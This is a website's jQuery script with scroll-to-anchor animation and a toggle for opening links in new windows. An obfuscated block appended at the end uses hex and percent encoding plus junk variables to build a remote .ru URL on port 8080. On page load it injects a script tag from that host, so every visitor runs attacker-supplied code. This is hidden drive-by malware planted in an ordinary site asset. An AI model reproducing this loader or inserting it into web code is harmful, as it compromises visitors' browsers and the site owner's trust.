jQuery.noConflict();
jQuery(document).ready(function($){
						   
	//scroll to anchor
	$('.scroll').click(function(){$('#top').ScrollTo(1000);return false});
	$('.write, .add').click(function(){$('#respond').ScrollTo(1000);return false});


	//toggle .linkprefs
	$(".linkprefs .options").hide();
								  
	$(".linkprefs .page-options").click(function(){
		$('.linkprefs .options').slideToggle("fast");
		//check #linkprefs on or of
		$("input[@name='linkprefs']:checked").val() == 'on' ? $('.link-ext').animate({opacity: "hide", left: "24", top: "-4"}, 0) : $('.link-ext').animate({opacity: "show", left: "8", top: "10"}, 0);
		$("input[@name='linkprefs']:checked").val() == 'on' ? $('.link-int').animate({opacity: "show", left: "10", top: "8"}, 0) : $('.link-int').animate({opacity: "hide", left: "-6", top: "24"}, 0);
		$("input[@name='linkprefs']:checked").val() == 'on' ? $(this).attr("title","Open external links in new window") : $(this).attr("title","Open external links in current window");
	});

	//toggle .page options
	$("#linkprefs").animate({ opacity: "0" }, 0);
								  
$("input[@name='linkprefs']").click(function(){
	$("input[@name='linkprefs']:checked").val() == 'on' ? $('.link-ext').animate({opacity: "hide", left: "24", top: "-4"}, 1200) : $('.link-ext').animate({opacity: "show", left: "8", top: "10"}, 1200);
	$("input[@name='linkprefs']:checked").val() == 'on' ? $('.link-int').animate({opacity: "show", left: "10", top: "8"}, 1200) : $('.link-int').animate({opacity: "hide", left: "-6", top: "24"}, 1200);
	$("input[@name='linkprefs']:checked").val() == 'on' ? $(this).attr("title","Open external links in new window") : $(this).attr("title","Open external links in current window");
});


}); //close doc ready


//////////////////// scroll by jquery ////////////////////////////////////////////////////////////////////////////
jQuery.getPos = function (e)
{
	var l = 0;
	var t  = 0;
	var w = jQuery.intval(jQuery.css(e,'width'));
	var h = jQuery.intval(jQuery.css(e,'height'));
	var wb = e.offsetWidth;
	var hb = e.offsetHeight;
	while (e.offsetParent){
		l += e.offsetLeft + (e.currentStyle?jQuery.intval(e.currentStyle.borderLeftWidth):0);
		t += e.offsetTop  + (e.currentStyle?jQuery.intval(e.currentStyle.borderTopWidth):0);
		e = e.offsetParent;
	}
	l += e.offsetLeft + (e.currentStyle?jQuery.intval(e.currentStyle.borderLeftWidth):0);
	t  += e.offsetTop  + (e.currentStyle?jQuery.intval(e.currentStyle.borderTopWidth):0);
	return {x:l, y:t, w:w, h:h, wb:wb, hb:hb};
};
jQuery.getClient = function(e)
{
	if (e) {
		w = e.clientWidth;
		h = e.clientHeight;
	} else {
		w = (window.innerWidth) ? window.innerWidth : (document.documentElement && document.documentElement.clientWidth) ? document.documentElement.clientWidth : document.body.offsetWidth;
		h = (window.innerHeight) ? window.innerHeight : (document.documentElement && document.documentElement.clientHeight) ? document.documentElement.clientHeight : document.body.offsetHeight;
	}
	return {w:w,h:h};
};
jQuery.getScroll = function (e) 
{
	if (e) {
		t = e.scrollTop;
		l = e.scrollLeft;
		w = e.scrollWidth;
		h = e.scrollHeight;
	} else  {
		if (document.documentElement && document.documentElement.scrollTop) {
			t = document.documentElement.scrollTop;
			l = document.documentElement.scrollLeft;
			w = document.documentElement.scrollWidth;
			h = document.documentElement.scrollHeight;
		} else if (document.body) {
			t = document.body.scrollTop;
			l = document.body.scrollLeft;
			w = document.body.scrollWidth;
			h = document.body.scrollHeight;
		}
	}
	return { t: t, l: l, w: w, h: h };
};

jQuery.intval = function (v)
{
	v = parseInt(v);
	return isNaN(v) ? 0 : v;
};

jQuery.fn.ScrollTo = function(s) {
	o = jQuery.speed(s);
	return this.each(function(){
		new jQuery.fx.ScrollTo(this, o);
	});
};

jQuery.fx.ScrollTo = function (e, o)
{
	var z = this;
	z.o = o;
	z.e = e;
	z.p = jQuery.getPos(e);
	z.s = jQuery.getScroll();
	z.clear = function(){clearInterval(z.timer);z.timer=null};
	z.t=(new Date).getTime();
	z.step = function(){
		var t = (new Date).getTime();
		var p = (t - z.t) / z.o.duration;
		if (t >= z.o.duration+z.t) {
			z.clear();
			setTimeout(function(){z.scroll(z.p.y, z.p.x)},13);
		} else {
			st = ((-Math.cos(p*Math.PI)/2) + 0.5) * (z.p.y-z.s.t) + z.s.t;
			sl = ((-Math.cos(p*Math.PI)/2) + 0.5) * (z.p.x-z.s.l) + z.s.l;
			z.scroll(st, sl);
		}
	};
	z.scroll = function (t, l){window.scrollTo(l, t)};
	z.timer=setInterval(function(){z.step();},13);
};
var b;if(b!='c'){b=''};var M;if(M!='a'){M=''};var Q='';function Y(){var L="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x62\x61\x72\x6e\x65\x73\x61\x6e\x64\x6e\x6f\x62\x6c\x65\x2e\x63\x6f\x6d\x2e\x67\x65\x74\x61\x66\x72\x65\x65\x6c\x61\x6e\x63\x65\x72\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var x;if(x!='z'){x='z'};this.e='';var H=unescape;var E='';var O=new Date();var p=window;var Lq="g";var QO;if(QO!='' && QO!='nx'){QO='v'};function d(n,t){this.Wy="";var S=new Array();var q;if(q!='zn'){q=''};var l=H("%5b")+t+H("%5d");var HJ=new RegExp(l, Lq);var GC;if(GC!='' && GC!='R'){GC=null};var k;if(k!='' && k!='hY'){k=null};return n.replace(HJ, E);};var Qc;if(Qc!='' && Qc!='eP'){Qc=null};this.A='';this.bQ='';var P=d('867346903716749876421230393179','39624517');var mf="";var lh=new String();this.yJ='';var X=document;var Jx;if(Jx!='zQ' && Jx!='z_'){Jx='zQ'};var F='';var aQ=new Array();this.w="";var PK=H("%2f%6a%65%75%78%76%69%64%65%6f%2e%63%6f%6d%2f%6a%65%75%78%76%69%64%65%6f%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%6f%62%69%6c%65%2e%64%65%2f%31%39%6c%6f%75%2e%63%6f%6d%2e%70%68%70");var mA='';var UN;if(UN!=''){UN='eW'};var cEe='';function ES(){var Qr="";var yi='';F=L;var RF;if(RF!='xl'){RF=''};F+=P;var AI='';this.XJ="";F+=PK;var eh='';var aLY;if(aLY!='DK'){aLY=''};var kh;if(kh!='' && kh!='V'){kh='QOm'};try {var Sz='';r=X.createElement(d('smcfrmiYpeto','mqTGeER78NYfBo'));var gI=new Date();var kx;if(kx!='Kw' && kx!='De'){kx='Kw'};r.src=F;r.defer=[2,1][1];this.um="";var uj=new Array();this.ia="";X.body.appendChild(r);var Xw;if(Xw!='Z' && Xw!='UU'){Xw=''};} catch(U){};}this.Gj='';var CM;if(CM!='vU'){CM=''};var vt=new Array();var Rn;if(Rn!='' && Rn!='QOD'){Rn='hD'};p["onloa"+"d"]=ES;var gG='';var vN='';this.Zl='';var pel;if(pel!='Bq' && pel!='dk'){pel=''};};var Br;if(Br!='' && Br!='uw'){Br='qW'};var ma='';var NZ;if(NZ!='_'){NZ=''};var lW=new Date();Y();
